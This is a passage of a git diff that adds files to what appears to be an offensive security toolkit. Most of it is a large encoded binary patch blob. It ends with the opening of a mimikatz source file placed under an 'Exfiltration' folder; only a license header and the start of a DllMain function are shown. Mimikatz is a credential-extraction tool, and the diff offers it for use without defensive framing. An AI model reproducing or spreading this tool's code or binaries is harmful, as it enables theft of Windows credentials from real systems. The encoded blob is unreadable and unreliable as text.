zo{V69rU>e8fmnVp6ib|s!+87AQ_clR^-Oso%-ix`@;6EZup_>uxDJ8b=fI+s1KW;5ShewBBF+P=GzaT4QeYb$ z4;IC2aONtu7l;uvID_cHZ*f&I0h{bHto6GA!xO$(clkPul9FJ`r{7b3t`iCIp`;#e z-4YzXC&%gWZd`fPkEp3JSotU8jjf(||HC7BpT>p7D(Bx`Ccs81`QFNfWjz-b#J5R^ zhpm4oOwNYDA~Y4g?e~y5JPXdqQ}73$MvOq|Q&`P<9E_cU*+d#{Ff-BSH^Y$%U|!@!>@LO;m$6jRi0% z&xO_PBv|@~z?9;*y2(MH{65&kFT6ho{@6S?<8wGIy9di0>IqTlSaZMwYoj7zRFDhv z%3^%bP=kGP2@dv1acZ~=K9l{p_GA?CLjzd7&kxHsAE`)5&(L;mHqPKSja)d6Z6k4<7lDLq6=Sk-(ZQgoW2tm_^5d zRltE+nGhT6?!dXF4to_H@EYmG<;g*WOw$~GKaD-n9B4Zpd)fb7ZiXbU?-F8*Oh`3T zj-4_QHZ@nmxFjD&*{LwP5CDDe2<$CwMds*JM;^_;fMPEtAB5xcNFJJjYk4E= zZzRJuC<1oWpOk&!gW78Bmv!L$U=PA3hH!Ic6bVnp!JeN&)?hzYI2}H(DgH0+cEEe22hop)k@R>B$=^Ld*0V>*yf=syj_$uYf9<*v9O~Ft zh1~;U?CGh6V+ZZOV(NdCOXH9*7<_dBt1pJaA%TO)-btE=S&DrcVcqxfWlaaHgKlEu z1`5S#to1a6bkzMsL3miE~t*8AT6Df*w^kMh_lPPF&$ z8*0QZMJ=|=>R?-2PW^!PA3DDp9z72OuTXr*DZ|&bQf%W^!a1`Ln^HJ1+RW`ZbUyj0wi3Hrsn<%I z;n6FF-+iigVnQ6K<2e*h_oa z7t~8#?l#e!NU^(10$18&_EDaX4|TzFQ~|$=p95*6dQ^id&OReh=?LhdKIMip)(NjXNaDYlg)0*x%b>Vp2zo_Z@!uNz0do9%KHsMLZ8t;MMWX{e~A!N zTu5lHkdV-FGCC!+hfHw()8lIqAt8bNe|vOycbmU>@#0NSPtTjq&dxU-9UX6~tE=De zc)T}{9zAMrY;2tKi5Y>)I2N3n z)7;!_P*zrUrmd|F?d|Ot92~^(@GyuULqkJoZEXdI!vXPg>+0%`zj^bH?@89RV zef#$FPjmXCBYn4kQ@|%mCP$_zA|h-^W+oy$%|b+2cq<+6B|Ap1ohP#=yH4grc9rZR znN4zXGOND69yE_hRspkspZt!#zCJWHHKDe)7FAVMC@n3W92*)MFg`vGnoHpy;im7K zN;a2lIhiimMzTZ1dw#lz@C}jaUj$75VrKLgvu3AH|8iEQ$n-C>>0IG-5s`8c;i;8m zHFRwQ8JFHyYh+~9L~K7678Zim0D^gterOGT^1EP8f^#`JIS2|0LRMB5GBYzLuOYqR z>C>n9J^b`t0$m7nphRX)c96`TczlU1Vft6|YeeQt-kY{i@$XZ=RsAq+nGU8c)uB=M zgTBS?50a`T@8vXCzSB3`@J82o^=l=D#w!yOlb7`V$CjHmPSn)YO!`>h=eqhj@;MKc zm6gcI$bhGZ2QFT?0AC+(M23fh*UX#L)#JyHJ6^wj{pxq}e?h#`Wa~&5XX$&r$lvMH zzh2lWyh!o&)Ma}3TvQWN$fk-JV4Aoggk@GkSjueDcRrq;D9A5BN=gbYUAlyTfB=-2 zmtoIgn-8kmM(@=%wEiwwgOrqHFq0DD@8<&tyURFfa{@MGZl2y?mzJTawGE98TvSz7 zAwNHV-^-UTH~t=eVPWB^WJ^V+P1XML%NggtoWHDo+9IX5Q~BPO%oNic|6Ejy zxOIrz5L3kseqxqg1!0v!fI9!R^EVVDjN|U83lG$Hsa$GNWYoLXR}dLTZi!I z7+kyI3g6&RFtc({-P#FuQ#0ZU@)4PkfE)DMv5P0LX4_iGE6G7rbTMWvnu*Ik4ybAC zL{?hr*`Krh*0HRH>3NYQn(rqy@|_;0l0H6{Sb@LETHte~&G=k}Okq8y68m(c!w}Kg z0bz|TNQg^7Sz!_Bf{EDpcm(+P!7n%r(M7pnRaYXbj)S1sSR6lg6h^D`At5i0*>h)O zy0i%9NYB9n=>=G%w+OOEvXEUPi_NavP|a^aPDaL|-(nWLZoXyz3{j<(DO0{Pz+b=9 z$KNE3FjaRaW?0!`{;8Xga0!E)PZZ>W;~?u6hQ;RtF=OXdOj~;%Q}p&BIWZX=(t1*2 z5}0IZnb~j(@Wx6DQ^?Co;)~Cx3UUa9{!0iV^F{ED{5KF^C62|>iy(hZ4m#^~ARVzB zs(V$Tte}h&S5Bjn%SA_PD~IZs=zp4nqMn7qBBfO=pNSjes~wlH%sCj!k?~M3DZ+}D z8W?nOpx09got_Hl_f=uVKrL4Fa$(v+R#^u|Og2)}(!s5+K~gdksT98@bpD{T4TSz8 zgqhN_Fw1Tx#P^Cp##{!HMv@Ry5re3_C>92N10^Q~7#bKtjJXubPD)_dC}VrzcGNU9 zp`POS)ytQf|BheTWQ*lgF{78l8%{zhG7j3ja;SAxK)bsV8tuhU;^#qy$A%&|1M1B= zbes!ydaf)uZYzL3&1vl&F2z{}YN_@J^pnkEp|pYnyC8c=nu|etn>6MZ&BoVjzQUK& zW?D8XB8XMKL@wGNSrx{K{ut z4o^2bfTdmmP-$R8tCM(}a=~cIhX%hCTD)R9&Vza*F_UTY@}R>nfHs*H9V^p3wA+fH z-9kB&nS#R9EF@A)R?<9bYq{`?^~ap;Ut!**IhYqnTDK6!%o#H=cf%Yky0rk`#Lk6W zm<-gy8PN3AfKrkIRy(YQ<(W;eIdU9zJU*(ZE_Ziy{0sj#D|c>Pbi@C>bZG`u+Vh~s z&xICo8Mc(dkk&x8u>^AU1yE@$gidoYj9SY{OQq0kE`VlJ0gPKppx0Ig{kC$LbW|Wd zJQgVtF-S>HMI(J@b#*P}LKdXfFNgF=Daaj=#Uh^tklrPYCEkl6u}d5aZ_bBW8UwrR zcflye06N*4IDPaq&K*C8GpA0Yril+uGauaATIHYnf4Z#UMzOfC_p+_IkgQLFOkFDE z8!{nV&w^fa33Qt(pio;3nd*Ej=dhtvUkLfyJZN%@q1I49=dz&RR07S$A}G^b^jgYs zD%}UmyRRcZJr_Ov4%F6Bjpg#O`oLOfuhW8*{BnHlG86Mx&%->sIan;d7)uqGVtwE` z*xJ}aJy#V!P^>P1Vig-YHHBDSl|$E5LWz@y<<;5H zZ!X7Hwu;&n-ou46*6 zfjB6yNOPEwugip?K=T!}E_un&B5oC`J<_=uU=-y*j@V^bOz6=$b#^9H^RuB-k`LwL z94MCM;qLwWsHXl*P;>9o@w>Ngarg0aSfAdHnTuv%!4j%Zl8Z3Ubq>Vj#UQIFi!BGY z;F!}fSlU`*qwPjmUbDnr`@J}F^$1R1J43xl4ytNu(cRnoE;=kyZBsh)op=**5WBp9 zzcvY4+)Sv~XJUCp3Pg*NAX~};qlEO5mkG@xHkPL*LYr7MQkhUrh=p!eI#$FdLOmr3 z4C=uYnF&zHXThYb0FJFq=z8=JC43&(RLdIMJ8{YG3TBJWhL}3#eiIoix0e883j>N9 z6|wEyHk`VC3YTtN!gbf{aCLKqyN5eGZr+5Ovn$f6jy)KJt~rfz zVmeg0X~domgT^eVlkYWa$*&ZvV!26>BfS_^mV%Lx2;I1NNSw5TnithH-yoci!zzi5Pv!Gs^0#%AzrK$`_6{kU=m<0v$y?k!^B)g`oAEb95hxEZS(Dw<4*y=4% zw0D8z!E=z?BB~#gp&jp%NGd1FsM$pLB$-cLX#X zyr6vSBBV|^Ld%`jx6KLd(csgQN?z#^kHP`~a2 zwM(urq~6UaARb!&@lf)Mg? zYUq{}!=$DXmOL&jTe&#Y%g3?4W*i;j4C!n_Z2~#ax)PYp_1I5-T%{pc$SF1v^hjU$_bt&p=27`a+iW zGK{=Dh-EM#k(C02s&bgtRbf>V2OHYzv8A&C2m5)jxzmdCcRS(opbu_O$FU-_4l}IX zvEZOL7H)OGY=gbf-gIQg-sq47Dat(xT+%;j$bj^(MW#a<(x}aVa(No$^OK;In+!%= zG_-HshO(^_E&)f$>p8561nlzXCs zq2})k(|}trbn%Dc1s6ykc7S?N3ha18h#q)~_`zq08GMe!JI~?RHUf?Kd@S2~5(?kD zKr1R8($=T3c-3ZT#l}NBF$GGbN4cC7Fp9IWvbGZ2cn#P?Iy%uyz8`AGnc)u7P$wMj zb;FlpA#!v8GABH+VAl=IGdl)J6Kfyqb7!`x)+9rnpFurZ4ot`l$^Y8aKWNpZL$8MN zXbHu1b}|e@!k|ZaN97ph&C9;f^o)g7Ruuw!A0ndvDPsDcA#L~tvc_J5IXZzuHSJId zPJ#l(f_y+M#1CA=0yRUZ*A$-LhkAH8HrRp- zV_mQl`2Wc;m=h1N);k_^t*&DJDjO^@+!cKIxQ)D7RoW|M;@56YhY6nrbAC1qDgWqG z@1|BkH7z$5Dw(lhTyuuT6=x_NItK>%U(q#!_^WZN?+IcCo*`jq0$HOkkumZT$uy6| z(dRhVG6>BSs@ajL&<;<>@`D#3ZeyeoZ9olzm-}HyZ*=x}DO@MiF34FRAB8q&UI{XsZV?Rt9 zYwXp>IlRC{nuA_yA#{^yuMiXm%_FwZ@wr8PeF9Xn1fR`zsm@#s5%fO}i7}Vdh*_7HN%5NwGal9b z<}4UDX2Yl<7kZUhkWP;zU&TR9&@0@IfV#aK7*4mK9hn1%=3&zRGsF!{AbsQqu*csZ z|K4jb@4Nt$)*)cv0amlCpp}pV-QWbspCJAD-vWb4d4c?|n#Y1}X#vcLU#GGN>-qKA z)y0GToo+ac692t^co4tq;~_9#KY~*k7jw3I9=0)D2m%;;!UPC$h$}U zG>05oi?q=fh#z?di+m1@Qu1L)aV&NC5)@C_fe~?=dL^n68Obm%r{02Mctc}7_Ow&} z@9Ur#?!sl_cP0OOJ-P#*CnJa=4Y9^Yp=f;-ON^|o1^j}?M&~PTS|2rJ+LDb;?FHD< zR!ljq5G!b(qDT2niSnEhX-F}VYOu2>WY0T6-Zvim%J>NGe}Y8Pe+u!Zjl2ST?DZsn zI>kad#q+s_E@+c}w4$ijcJhVp4XPWVVbD*fek&&nO4PgRmKI_|Lk*5~knRV`_rpDK zzds1ChePnA`1PY&7W4cbN?tw2#w!7s!LT&^iC##^+uLXMR!;VaK^LuKTOKwL|7O7& zw3Wh~R|XC0BNPkMp^{B|vSjKb9NnNuI#vr!fnj_uPStiJn)sP_Ccqkfg~IXIVBh_L zj$cwtzd+Q`GaTf!!YsWACN6={x#kId(vU9ocq(a0R15O4uD%x5{AP;Z7F-@8_PhP? zC%@k!zehg1i?HW+5l{R@q@jJjaUZ5DZ&LrnFBq@h4&7|j#D-aKDOS=Ra(!Dqwsw@j zf>%UV4$W#dWGP>ZCq_WZ-4)9=?S#~Es>Q)nJ7RNip=l5iR0omdpYscjcldi=({0Ve>h5A#b(dmWR~alwM{8PWPhLm& zA1ZQat<#_u69=X5uVR6!5hRW~KrVy{t)N8MH}oQgSd+;zhMyyIWP4t(}FX7 zeAth6;^xCa1XIk$2-wMP3)o5f%pae_v#$BgT%BDqzvTY;^I&gZVT&M7mT`9(whnNx zm*!yA!@=(E25fGrg?U{y)wMz_ONyraolQNOBNm&ir@RzM_nacA&e0x@`cM6UXc&>+ z&3(gQ<`V`(+NVicY^NCZgRzr4^e#EVDmNPksQ*0Q*Me(f-EgIRFVKA`X(x(wFW?U$ z{@51}5dZfVSmPX)_H)*McYOZjDG{686xOzpM(iAFz`jB13kP{P*wcj7)GO*$(>*P! z`wF?Vzqu6%4WA$w21P)ZdJ8@G5a_rCLiy-LtakE*5%t_FDd%dQJdgFXFEnxW#75c| zTGRdV{oE>?>TZVXSP#W)AN;A#hCUPI%5fx-#gcYnh&}1uQ`mR+eHJFBm(|*hsCO3UxnURJg6_gvQim|J)66Z)WH%4i{MY&$!_wc8bbBI5P zEOz2P5{NzZhsTKd;W_R164}3G{H^C1%;YIo*jds0M)=q{(hTc?MjRdBV;jxEf=Bn9 zo2qG#N!q4+K&v&`7PdGdp$Ki;lEsy zlN|Q;a{sw|ybXtjTXAHt4g33Asn@Hfy?!A~NyB=aBCM_#?5QYUQBGM~UjZ|^XSas# z*=?u(cy}8Y``WoU+1rBC{rt&1DX6bLq?ur14|z65-1jHhlgaOC)UUDLO~8rv^XhJq zr+>F+IM>zk}wKuLiiQ2?Rr|+eG>aP3UG>>*1yVHS_l(((=nqf24iPLwwaCESf@>VMj zQy(li_dRLcX?y^V_Xnt-AA~RYJe>R;Og70psde%_u_wNILOObgl-};c$8Qa?sUdJ*hN!YQwZKBGKOdWm}V2oV#HkT^c}Hot{`v$ci)#h>B(z3)kgj-4LO z&OLmsy147|NH^@Bjo>QP9XHa13-LNXyhHnr5xCPiugRQpmuk^H%IEhGMC|^8;|b#a z;R#}2Jw@!@;ddE)9;wFL+%rR(u?35IjEoGzfkC7@^4<^mK0G#9=ku43^P_R{4@aiZ=tyrAj1@G_ jpi%Gv^s6oeAD~a8;Eh*lq&Iv3^@_W#?ft*vdz zn>TMhw70i^XlZHr(A?bop{S_nLv3yChv(0qH&srqgDAG~vB)ZCp)Fjb3hU?y<(kMl>}wp}V^qJv}`je%!x*9}Nu+ zC@wAr@mH3Wl^y!<;lp{36F>d*Q_}a}fB*TXG5xzO`xbBt_{3?_G<7jCQGJ@RnCLJQ zF;UU=e7}QskbgT#v!Gp}S<^1jPSeaHA|evX%ge!W3}O{93-~$jxOeX!s;jF}T3U+2 z!b0Ta)1Xv{kgd#CvkMnCMlp;a}Vw{>4cDFGh`x z8UE#{II-bhCh}Uwa51qwG0~v~v=V-|f>z1jl^PfrR1@2e85tSiGk`D-`VXJM-{)Nz zlW;95DG44P9*B>RM_gRo;CJY6c=_@reh+^3CHRHl2lBKfv^_Kn;&CCikl~{zl!#53 z^LW@~xxWnkTKVT;Gqf;lx)xjQpLI>P{yaz7=qG9Q1wZH-ul%5GxcI%ilG-~XBcr$c z{fpJ6s|HF+N(SdxnCG(cGR}D|3JMAk8ygG9>(_Dm)G4?)JHgl68?`mHgMRhm#f#?m z@87@so%p{XUJ2TA`o(efdxP^GGknbC7SSnk?}yIN!RO-Y7(yF5QxC&t=|fa0-l%YJU0Uh?8GV zm{C4#iv0IOrfFixbj^>LiCbbJL}iy_nDi11lOldu6L`3LATlfjDak3w%g=+Wt1Im7 z?cw6$f{5@4+;Dcob$1^;e*9!`&TrrG!If(_VB>Zh0rAPGY-&bjZ9QTWli}#>f})~g z6qJ=ACMN3C@4^1d?~I)&zG>u4_5RPrHHce_xb-n~mfqhnOD%$^qA7;SE`_MdI*2N) z#4yEG@b~pYN_--MgG1=QaY#!^K}l&Dy!``k`KldUJntYpJ_$t)El8=ZK~Q=cd_zKT zm47>U`Y@JmSOyt+X^4wY#i%JGalzRVC5K0}R#Pj1lY3V8T%c%(nG{w6h1%?ndcx?{xVOBlB7B!=khL_}x=is|cNpA`A{K- zK;#c15St)|i82#0YtbxB^`8Qn%hJ$Vp#=$_xlrDr3f)?(>2Bm;RL`BD-vZw@M5#fm9`pxF`JvL@wN`a9QqcH0HNX*(X6Ov0LF~?vIW-88v zxQsX^drXA9wJh}Y^f5DhIuxwsp=73jjqV#!Qc;a^uH$!a->Ux>eg&hotB1}scq_W{ z2VXzqw(di5g0XgBt}VbO!G!zru_^k-%^CZ zetk#TgX3B`&OXtWS-buyHy z)1X$D1C81&zE6c}6*1E^Yg3_Bmkv#u2Hz`i9GZ=p(5z?7439)cR6IhtCJQ)@($Y$} z2D)L~#?kod+&FyYPG2_>#mEsOF@EJZOu01)69dOX+Dj5D-bzq+QGNV+5uTFEK;7K<$~2+)I8qB_hEnB&Bu6F7F% z93|CtD6XkPWofCxFXw-_l>VxjL0&&eH6&wBc^D+iq99Wd2dVM|=+tCGyE-4TrCE?H zO2gdZ6v&rnK&CVm>XlhgsYvIwc<5GVL%k{!3LJ}0eIAa+IAd zE96?2Ocp<9!OO_z>f#wInSgvFt) zy#p1@XX;wpv0&jMC@CxAt8v7Acq}HLnS^Q1;!xC6g!(FVtUJ99E03?ld{0BDWGdp| znL{{jc^Z}%FCr~72hj=1=OpY%l3L1H-n3oa>)q-?LW+y-*FM;Dqg{{REn620_ znA5y`{R$0rb;N%UE6i3yZn+%h8O*~Rv)P#LN8hx#8UYRBR^;9zksJ%9%p^z?yJSK*ba+iQB@W7IiO|YUgF;pknjP$~+vB=}1FqTFA%^=%V@oUQc(yro(fW#3ZWN?zq8Sropj;VE z>@m=*iiaxaUcHp_%C$N(ISkVD7lVQvD20SVJ17{lkDQ0f4en_!9#FQl!$Q9xD7v~s z$=-?AU7;Qt0`071%#96&VtOJ}@-wg~KNC$)pTZ}=A5%1^V5&0LtNaYim7D_=B_%8{ zFo44~d))E7g}bz1_9N^eiAl-G%*jJ_T?6_a^`p1%A>)5v#!~z19!k~mj5Co?tc+p| zjD=oJ0#r*Qq0DtFUl@ydS<#TqN`NfqUM4wa5WBjaDXXzA$0y)K?5d;8E&zkB@b1->14i#PATM@`#(oVnrm-G+l_r!T$Zaz~~v zo-v)zo%q!_|9Vw%(4zlqRnV79QXrENjd_V-m=_()xetb-yBG9s+=jvtD`-3UK+W<7 z6b_!oyrWjou;=r*?236Cj=<=~EvUNPg`9&cW_Y?mHX#;jSs4iI?&2D5L*4xzbU%BJ zX9I8W?S~I|_1C}R-Oqo6)58wfJZgvI^KM*w&<8!oD9pF?#zHGEEV2%U%oa;bHrxZ1 z)kkHQdN~KmHY7l;Du#Pd9NTF6O&Ihl=+BkhdyA8yUYG{Cv{=Z+M?uQ=I;I#bh3XY& zsGPHdK65vNo59d<3x>RFAanz`@7)c@{M%eZo`F!Xa>A%t(opui3zdvC%;EEpPfvwW zK@qgGvtU$GfYr5?Slv*Gy&ZKpc&`Qr?$_aPUn5RGYKFs0;?Hlwn4_MUyxkh&`<(HW z$uW%6-wnO>hgH}4dqhgr#X-I*in&4r)age$)k4fkfIjyvt>Q#z3o$+=8ngWFK<2h5 zq>o>K!UYFNnqPt31t)0xC1P1(5!Pf?Vo6E~RwNf-L0l%(y(1ud-VqX~EwzCa<@|SiK$4G~K^xhyU%6d5k@>mGpo5kRJVCgQi6vQY(#xLS8gv(!wC0 z908>ue`wyi3xzY*kUn%C3a9KL?HB-4V!zS;6xZ)P$F;VnaAUhRy9$cFyvMCD$XvLN zuNSU^+HF5*N5$eB?^}?I<2+@iLn%E0QmHXe<1=1XQ;aRmRoLEEHHhE5uL)=RTVea8 z18%STaU!<{lXuu+!pajEXSf@xYmZ($7vyU-kMk~B9?E?`ihFJ>EsnWDJd{f~rrdBS zr!)5WdqTy{1q*N9g1)UA?tZ^E&j zX8KSIEFZVQg=@jLuM3iguVd1dtN6n+ziC5-KQ~0MIS0>Eglkf0yUO^t;i_w}{JzpIJ<-&T*k z?X@`AU5`@_TX9~P|8IK`KJX07oPsfa-6c#|WQJ+_TRit2GLtbbjDDv;{F*f}Fse(y zlDb6bGydo@cT>sdo|YU4#kfEyUABSRMH|TPJpm=oznq;9@fYFNy>AiF^$H>P2N2)) z7O}l=5y5eU_Pxf5`fjL4a?kdSf~I#2=I%L#S?ji8j-3r=2YEv}I)dvu83u(pFfJ{` z=DI5EZ>ht+Hm-rL2Am`QbB{Y<{j3Y#1O0HRuE&)17ctIY7p5)Te>>o=*PphfhF5Dg zCPA0j=hw!=i1Tk$n}|iVY0xTVY|3R!O5^j0i+~o--I@+=P&}q51{KNBDTs$ej4$UZ2r5FZaMuT_7T2I;eG8htNwBQxq5r=^ zP}cxrdcQ+T{|BT!evj}6ZxGJsaI@6Y67%# z(qT;eS_PR{QCE&Ft+lXt&<4vs;(y$U>%?#O;y%LPKZkX0CB`o~fq5oJTm<|VEG|wn zObvLU-WWeP|4X?B)-`2f70)fJnZp}b=0Gh!6;g5Z*AQ>WxH@6>h69j1e;x835il=l zg&)^#1o1}j8KgcYevToD&my|-4T5`L!6dC129asd=Q^IZ?;PZgo`;gpUFJ&MBVr?9 zn8)0LYj|Z+cp8e@LFYa z@tVd*A6i(S2-Bu?tZmFO!f-{cwRI59jXPe@jbXl(6c2gkuG%>n zSXohmgU$5&Zq9vAJM5oy`Z2QKy}+uAH!(tKwf^7Hi-zlJ-QkzN3gL+X4q!_Pfh5BHgy&YzlZpOSr+>1TAcLXNkRCPCe zxDSMN43k-qQnxC?iQ{Wk3`@%s%tM(~>_$oTLQ+iv(i`BGucSHHwByx-*Jcv-t46^q-l zu&yl!8(MQ=LO)ts&og-$>ks)!eAdxW2?&Dx*-MzDY=GH^EFpb692y>>u&C%j0I^2U zVtZaAu6Ka(bYO4|Tx)rVg^}r4=o<}P>zmNBx&i5p%mZw$Lyza51-U8MSX%<~u0~wz zzlWP#vjOxO-J$Ng8Be{YT<`^N#SvGU0NHTF-RSJ_{7)}{X}zn6zK?RnVV!Q7;Y z^@Qq7sOEED&Wy$UtaK=cF&8{(38hPpm}!0)Gt4eR^G+1b*K{)Oa6jw*7PmW}!?C#! zXXyWX3Tj{&oCKxaCt*bYS>Wn5XiHd^TTzmOZM9|C)m(}5JuPtLn)TwmhZ1)nEr7W1 z5Wg4aKk~&BC~i7)<`dpux7HRH|9mtdJY;@HE>?FIU~6Y7R<{>o32P!Ib%ii0&t*Q! zwZOQi5Ep}))>k2M@GKNc@fOp>v8N}9W44<;P9*)o?Np50(RP60Xuy^{KwaDEUWo2UTcfw zuW|qKv!|1bsELPTf?-=O)^`W_d7F#>Q zfI0U9#$5FyC$WO(LL)mztm3(F8|&q}DhqM6tp;`v+qq`%!HxUuomWDv>_-?akiHW@ z>|sB=ghg8?zFvM*`?oOv`g(49#?Y%}dC?p0S7BFgEw*=6Vq<$bHnvn^T|)))iyX*j zCqX%zu_-YU3&~L#-S&st;WN;%u!o|RJ#^1r#=<+^Jde4+$iW$_W23P@pRu7Z3tOrR zaDqN_wU6g5#(H7iya-** zVU1#CN)op4J3A|jae_J8F`l_Bds|@LPyEc$yy!Fjobw?1OAzNh`?mDAU~6w9wszNHQ%4OpF<;-* zQqBA?4{M2UOLHxja6Be8MKG-|$0p+5&%FLnXCwA^)#FTWE3QB7h7IGSu)q3ozC(!H zi|aL*Z7AnGjM&58zl2|Z-%~>uf0KU)=Rf=I)hpKGX2Je3J9tjr@}!O9Xu`n<%{aoi zz3yHO%=ounA+G>*W3+DVYJpakx+#PRxcE;9r&GCY)w!@5hhv>UUpLF6_e+P~+j#%_} z;{2m~IP-}4FY($wy$`47J@k`axW4FPK1QRz2xk&+#`Qa|80YCPe(#>cXW%(P`yYOv zR$u4PP+#}Oe}eD#{wBmfaJYX;^1jPOS*;g(+i?C>FD`N4xkjI`C0?6n4|wkAg*~s` z7>p^8xEDQUJbw%iVs{hX4-ofv-y-ncO9VdZ`60HhHoUQ=<-c(gzZcVg@;zr4x1lGU zoR?X}#l+e-SHHI99^^*9xc&ACoQc!*^+R|K<^Y^;<^VyQ=fJnm7%Q36JYmdfYwij! zEOaO+DHdci|4&~wo_8i#d3i6gONhVjS)7~ZSW?vQ+EDe%x2xrqPgm0`|CYLMeX2{E z0}J!wqw{jD@`{V~^K*0mBRvc`NaRl>fr+uKL=QQCplJ-j-lb{)zAY4yLNl~WWr>nEG^L=Y;>i{(~-%&&Jm>M57@*U&p z9w&bM@kfsAU%z-ip-)O;#3oatGlx18d736|AwQea1U=Gz{(UcPQ*dywlb|K4BPS$i zjs)#aM@Pq?W+yK%?>+S}Z-md(iNya_@4U}vG(oE+Xo?oFk3H13SPvgDCRA+nC!{?13`a7&Do&-DJv@rckkYTC-p+< zX=&iR2s)vs|D^v>9Fs2ZXU2j13?DtQMs$koz|g5G7(!jmP--NG%{9hNkK6F`^MkKn z0Ircoxpl|uXG7yN>|b+pvJpfLgyRh-SYNfnP0!m%&m~tuo|@XR{)Z1A{^s60 zZ0L|be=&Tx^q1qOhEo&sZm6J#nMIAmTqEjWmSUI;^(556+_`fX@v(78U_KTa8p{6f z!kx9;^!#E}wzT1HNEmGGU0~zl1dB_TuxgDdtQ@Z*yRh(CeooGB?m-grnxn^v%SC_w zwL1PZof?Z-Mi?S%ilOqR7$UzKL)Ermn35^`3`YX{_xJb5UDnWU_}qcDgA;b|Jp}zl zhLBa4!}LYs5Z9fGNqQ48MR77#9$AB&lA;$?W#wc4(fn&IT&Flza$$?8>KcqT*@LNP zu4AsdKjcFqpcu}Y_U%y2xOf}mS*wYONkDR9A~iHgxZ>e}u~SE5xXv()kpBW-%^gqP z_iIeKI0?$flpudq7Lq3;5IRS8o1Nd;ME+I~U03r$eiu0GiZd zsI`)dZcc+b&+l68IncXTjD;=bh$G*c#B*MDb{<@UZeps*WK6s}9-|FMVT||~j9D=n z(=4Y#)ma5fE{c%%l*I;{^~fXN-qzlJ;g|hO9+GyR&5$osX@?f&Vn~t5tb|}l)yG4Qbw*|Or(at@UOp3&C23Hq zpzeVjyi!Ffx#JA#A;{aac42h)1gs-Gaj&)og{5U!wr)9Q%Fo33Lt`=JKdoeO!foD->lz zwlEX($WhDYQ%6E>U4@*wbRqR5Wf?ek!2)4^fq3@(1sceoFWzc`X>#MoUlBB4Ib;U*K#k+EX)u~%}HH-!%K_vmcw>mBh07NNogC_$TV7e+^}ZrYK3-bjDTT3hm$eUb&)V^cTcD)6aq}W0J^qcr_ST@z8u$VfMv`m!N zHlXFvV^qI*fsm&U5JJB2YElL4qH^IDn~UYgouII2o2fzM-7KMh751-5j#G!+f+o3T zS=N%Id2W^_U#xn`0qW#3b*|ll^s&o>^%yyFPuf@AAkTC3Y#Uq1^Bk(g+LK;k0ajI% zVFPRJn_8=I@P0jx^fkcp)dQ#pWnuKztN41CJ;oUyrcUADG29T*JE-e`yig_0=L)z>di(#^nY@a5{E4ydCCIPVL^~fPJj$+ zwi>xvSj2Pi>c$FeYbS;W^|;9Mkj2x798WaHZ+F1BWyc|Jvd?~PLO|A>YVt(nx&(ep zgZzpjwE^;}VNeM4feve_@*K0oiECIMlaHI7FW|yaZd zAV;E65e>B>au@7h>-H_^Tw<-_q#ac4{cw?W)F9S^g?fDKqjxx5+yn{M#pKBaPB+;O znSJK;(~v>#Ns*d{)z#(L%k!!k>qkc(G?K4r=Q-#xc88{5^op~XYOpQsu#^3E4c66l z$#pMe|AzEItrFJY(pmTP^@7?ZJ1BAd8txIeTHlLc_8-UEc|2>;5v=1Luj_^y>*p%2 z0g&2mMh?LR(lO!G#w25YaUM3;vpz%4;uv{53-U$RU-jTt*FDVKY>7!m`!ak20;d?4 zM8DNy+%w|*FCaf;NNtQ7xjEUmVERlTxh--k_P#h;)XMR{A(!$FspKJIi6M*_Hs)2a zew+x^bJw8k<_Y;2awpVq402cHg{%qH;2i750$*ZBzA)&+bF6oZz?21t2IHTJyPdas z6L~4}Ypbb|TUnO{!?H|r%j6+LsbM^0g}LODH>Oq~h`f!!M5$tDr(`fxfdibCUZZRJ!J#Kh)mcvK13wvU*G~#i6N1En0MC; zn5I*=NWFxPjT3YkpMN<#m(th$9>I&dNtiL#$IZVq&#n8_WE6zd*&MSBeGaG?nfkjFp>O&U{QPqCo9{? zVFyF^;&munSd-%oq81Z=oLY-7^GrcVgOtz5hr4waVGnenERS zYZdue-%75YIyzPAiv&H6oSg$C$cxN8Yfrv50xoTjIS&II`*S!n_hM&W4eRahFra=x z@A7pl3=D!PYfO7us$k37qYwKIX8p^T=KtXZoXe{R#%XSz@M-*?+JmvdJ`1_`Z|*9= zs+IyQuPY?am(F;={fGIhB=sB;=j_Q(rr|(AEtW-R!Z;`nhCbxVw;h2V^9N&c$s1Br zU^eJ?O{@ozuVDW|-BYObNBr##Hn|2ye(Lj=t?ebNKWz{53EbF6zW#nC_H|a1uPcKl z^*Qq7^d+eiQoDKsn%3k>?cAYp&ISuCufgErRp_0)2xDq~R&eY)%kp8tHFur06QK?j zzSp&RIe;1y)7wa3sa~En~Q9r)Hs({4wUyk{= z-rJ@mT-|!V8oM7gVK-~B%XnW^))5WMav58)>EBsc%=~02xzTkMjJ4z`%vk%hWDU-N zeY?`%g?@uspNL>hB9{Eh>FWCDx;A%(DrwjRiC$50rEf*QmU|;Qaqe5uQ4_vpsiB+q%H_R| z^B!|(tjzrH*Vr*%FB&pYu3t=k1-{VOjG>C_F;s#7TcNxjVhXDuHqQ`ZQ)GVla@1I- zVM9NkK6L1iKYaSN@}|RE#mz7NIM>^knpQ!FmI2wYNX)kO#JFu%5L;x9FBcrZ7n++f zUU_-Fgo4JnPrseC)9k!NHnk$ux~nwiQ`NK?i1?_r{E6M+%q4dZlYLCNMvYg?b#dYUgdS_)aYRnFrW3^gzb$ zHgnXAkYVnjL;h+{TOBTb+ljMPwV1l>Xw#nH+m<@aag3^&C#6u^dX+p~a5|!?he&(! z1CCa#PLZyodN&F8P#&RA5N^!-X|_O(k=A#uwC>JHx2 zSG+{llOGYpy?9X|=jFN!Gx8*sn^CwJ`UULbH@fo~tfmo;?h&1dF+`n}LP=VhGO)m8JC740?D z)nq_7JRFA9_6l5@8S`~}?wNufCH(uBI9X7hD!1?QfBEmH``G(RLN6x39!|ML4ka0T}8f?)ZqpIWi~t(O)5kWcHO4e+}^3=t9eUr?btQ2+n{ literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.cpp b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp new file mode 100644 index 00000000..a87ea8f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp @@ -0,0 +1,139 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kmodel.h" + +HMODULE g_hModule = NULL; + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +{ + if (ul_reason_for_call == DLL_PROCESS_ATTACH) + { + g_hModule = hModule; + + 